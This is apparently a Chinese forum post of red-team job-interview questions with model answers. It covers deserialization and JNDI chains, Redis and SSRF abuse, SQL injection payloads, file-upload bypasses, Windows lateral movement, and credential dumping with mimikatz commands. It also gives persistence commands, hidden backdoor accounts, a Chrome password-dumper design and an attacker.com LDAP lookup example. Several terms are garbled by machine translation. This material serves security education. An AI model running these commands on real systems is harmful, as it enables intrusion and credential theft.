安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
匿名[校招]红队攻防工程师
1. 00截断的原理
2. Java回显通用思路及JDK差别
3. Redis利用姿势及情况差别
4. Shiro限制Payload长度的绕过
5. Fastjson回显实现
6. 文件上传白名单绕过
7. MVC代码审计流程
8. DOM型XSS
9. SSRF利用点
10. SQL注入报错函数及空表利用
11. JNDI注入原理
12. 泛微OA Xstream回显差别
13. 端口389与域控判定
14. 横向移动技能(工作组/域)
15. Windows认证协议与哈希通报
16. 权限维持技能
17. 横向移动姿势及原理
18. 凭据获取与对抗
19. 白银票据与黄金票据
20. 对抗杀软的后门用户
21. Chrome密码Dump原理与工具实现
匿名[校招]红队攻防工程师
- 1. 00截断的原理
- 2. Java回显的通用思路以及不同版本jdk的差异
- 3. Java 回显
- 4. Redis 利用姿势及环境差异
- 5. shiro 限制payload长度
- 6. fastjson回显
- 7. 文件上传白名单利用
- 8. mvc代码审计流程
- 9. dom 型 xss
- 10. ssrf 利用点
- 11. sql注入的报错函数
- 12. sql注入点,空表如何利用
- 13. jndi注入及原理
- 14. 泛微oa xstream的回显(jdk1.8和1.7的差异)
- 15. 端口 389
- 16. 判断域控的几种方式
- 17. 工作组横向
- 18. 域内横向
- 19. Windows认证协议
- 20. 判断是否在域内
- 21. hash传递原理
- 22. 权限维持
- 23. 横向移动的各种姿势及原理
- 24. 凭证获取(姿势/常用/原理/对抗)
- 25. 白银票据黄金票据
- 26. 如何对抗杀软加后门用户
- 27. Chrome dump密码的原理,如果让你写个工具,思路是什么(或者别人工具的实现原理).
复制代码 1. 00截断的原理
- 核心机制:利用空字符(%00或\x00)截断后续字符串,绕过文件扩展名检查。
- 触发条件:PHP版本≤5.3且magic_quotes_gpc=Off,体系未过滤空字符。
- 实例场景:上传文件名shell.php%00.jpg ,后端校验.jpg,但保存为.php。
2. Java回显通用思路及JDK差别
- 非常回显:通过非常堆栈信息泄露敏感数据(如e.printStackTrace() 直接输出至页面)。
- 反射注入:
- 从Request对象提取HttpServletResponse,写入数据(如response.getWriter().write("result") )。
- 利用ThreadLocal获取当火线程的上下文对象。
- 内存马动态注册:
- 注入Filter/Servlet,劫持请求处理处罚逻辑(如FilterChain插入恶意Filter)。
- JDK版本差别:
- JDK ≤8u191:支持远程加载恶意类(如JNDI注入)。
- JDK >8u191:限制远程类加载,需本地利用链(如TemplatesImpl结合字节码注入)。
3. Redis利用姿势及情况差别
- 常见攻击伎俩:
- 写SSH公钥:通过config set dir切换目录,写入authorized_keys。
- Webshell写入:需Web目录可写权限(如config set dir /var/www/html)。
- 主从复制RCE:恶意主节点同步恶意模块(利用MODULE LOAD加载.so文件)。
- 情况差别影响:
- Linux:Redis以root运行时可直接覆盖敏感文件(如/etc/crontab)。
- Windows:路径需转义(C:\\web\\shell.php ),且依赖写权限和Web服务。
4. Shiro限制Payload长度的绕过
- 精简Payload:
- 选择更短的反序列化链(如CommonsBeanutils1长度小于CommonsCollections2)。
- 使用AES-GCM加密模式减少填充长度(默认CBC填充可能增加30%长度)。
- 分块传输:
- 利用Shiro的Cookie主动拼接特性,拆分Payload为多个Cookie段。
- 二次反序列化:
- 构造嵌套反序列化布局,外层Payload触发内层恶意对象加载。
5. Fastjson回显实现
- JdbcRowSetImpl链:
- 触发JNDI注入,LDAP服务返回恶意类,在类初始化时通过反射写入回显效果。
- TemplatesImpl链:
- 直接加载字节码,通过_outputProperties触发恶意逻辑,结合ThreadLocal获取Response对象。
- 自界说恶意类:
- 构造类的toString()或getter方法,在反序列化时主动触发数据输出。
6. 文件上传白名单绕过
- 剖析漏洞利用:
- Apache:shell.php.xxx 优先剖析为PHP(配置AddHandler问题)。
- IIS:分号截断(shell.asp;.jpg )或畸形文件名。
- .htaccess重写规则:
- 上传.htaccess文件设置AddType application/x-httpd-php .xxx。
- 大小写/空格绕过:
- 后缀名大小写混淆(.Php)或末尾加空格(shell.php )。
7. MVC代码审计流程
- 入口点定位:
- 分析路由注解(如@RequestMapping)及参数绑定(@RequestParam)。
- 危险函数追踪:
- SQL拼接(StringBuffer)、表达式剖析(SPEL/OGNL)、反序列化(ObjectInputStream)。
- 权限校验逻辑:
- 检查Interceptor或Filter是否遗漏权限控制(如越权访问)。
- 汗青漏洞复现:
- 针对框架版本(如Spring Security OAuth2的开放重定向漏洞)。
8. DOM型XSS
- 触发点分析:
- 前端直接操作DOM(如document.write(location.hash.substr(1)) )。
- 常见漏洞代码:
- eval()动态实行、innerHTML拼接用户输入、location参数未过滤。
- 防御策略:
- 使用textContent更换innerHTML,输入内容编码(如encodeURIComponent)。
9. SSRF利用点
- 协议攻击:
- file协议:读取本地文件(file:///etc/passwd)。
- gopher协议:构造HTTP/Redis协议攻击内网服务(如Redis未授权访问)。
- 内网服务探测:
- 利用响应时间差别判定端口开放状态(如http://192.168.1.1:3306延迟高则MySQL存活)。
- 绕过限制:
10. SQL注入报错函数及空表利用
- 报错函数示例:
- MySQL:extractvalue(1,concat(0x7e,version()))。
- PostgreSQL:1/(select case when version() ~ '^10' then 0 else 1 end)。
- 空表盲注本领:
- 布尔盲注:构造条件语句(AND EXISTS(SELECT 1 FROM dual))。
- 时间盲注:IF((SELECT COUNT(*) FROM table)=0, SLEEP(5), 0)。
11. JNDI注入原理
- 攻击流程:
- 控制JNDI查找地址(如ldap://attacker.com/Exploit ),触发目标加载恶意类。
- 版本限制:
- JDK ≤8u191:允许远程类加载,直接RCE。
- JDK >8u191:仅支持本地类或指定工厂类(需结合其他漏洞链)。
- 防御绕过:
- 利用本地Classpath中的已知类(如org.apache.naming.factory.BeanFactory )。
12. 泛微OA Xstream回显差别
- JDK 1.7:
- 直接利用TemplatesImpl加载字节码,通过getOutputProperties()触发代码实行。
- JDK 1.8:
- TemplatesImpl类加载限制,需结合其他链(如Spring的AbstractBeanFactoryPointcutAdvisor)。
13. 端口389与域控判定
- 端口389用途:
- LDAP服务默认端口,用于域用户认证、组策略同步。
- 域控辨认方法:
- DNS查询:nslookup -type=SRV _ldap._tcp.dc._msdcs.< 域名>。
- 下令行:netdom query fsmo或net group "Domain Controllers" /domain。
14. 横向移动技能(工作组/域)
- 工作组横向:
- SMB爆破:使用psexec或crackmapexec实行下令。
- WMI远程实行:wmic /node:IP process call create "cmd.exe" 。
- 域内横向:
- 票据通报(PtT):导出票据(mimikatz sekurlsa::tickets /export)并重用。
- DCOM组件:利用MMC20.Application远程实行下令。
15. Windows认证协议与哈希通报
- 协议对比:
- NTLM:基于挑战-响应,易受Pass-the-Hash攻击。
- Kerberos:依赖票据(黄金票据伪造TGT,白银票据伪造服务票据)。
- 哈希通报原理:
- 直接使用NTLM哈希生成认证令牌,绕过明文密码需求(sekurlsa::pth /user:admin /ntlm:HASH)。
16. 权限维持技能
- 长期化方法:
- 计划任务:schtasks /create /sc minute /tn "Task" /tr "恶意下令"。
- 服务创建:sc create Service binPath= "恶意路径" start= auto。
- 注册表启动项:
- 写入HKLM\Software\Microsoft\Windows\CurrentVersion\Run。
17. 横向移动姿势及原理
- WMI远程实行:
- 通过Win32_Process类创建历程(Invoke-WmiMethod)。
- PsExec工具:
- 利用SMB协议上传服务并实行下令(需管理员权限)。
- Pass-the-Ticket:
- 重用Kerberos票据访问受限资源(如域控的HOST服务)。
18. 凭据获取与对抗
- 常见获取方式:
- LSASS内存提取:mimikatz sekurlsa::logonpasswords。
- 注册表转储SAM:reg save HKLM\SAM sam.save 。
- 对抗本领:
- 启用Credential Guard、限制调试权限(SeDebugPrivilege)。
19. 白银票据与黄金票据
- 黄金票据(Golden Ticket):
- 伪造TGT,需域控的krbtgt账户的NTLM哈希,允许访问恣意服务。
- 白银票据(Silver Ticket):
- 伪造服务票据,需服务账户的NTLM哈希,仅限特定服务(如CIFS)。
20. 对抗杀软的后门用户
- 潜伏创建用户:
- 使用net user下令创建用户并加入隐藏组(如net localgroup "Users"隐藏)。
- 注册表隐藏:
- 修改HKLM\SAM\SAM\Domains\Account\Users中的用户键值属性。
21. Chrome密码Dump原理与工具实现
- 文件定位:
- 用户数据目录:%LocalAppData%\Google\Chrome\User Data\Default\Login Data。
- 解密流程:
- 调用Windows DPAPI解密Master Key(CryptUnprotectData API)。
- 解密SQLite数据库中的密码字段(AES-256-GCM算法)。
- 工具设计思路:
- 读取Login Data文件,提取加密密码。
- 调用体系API解密密钥,最终输出明文密码。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |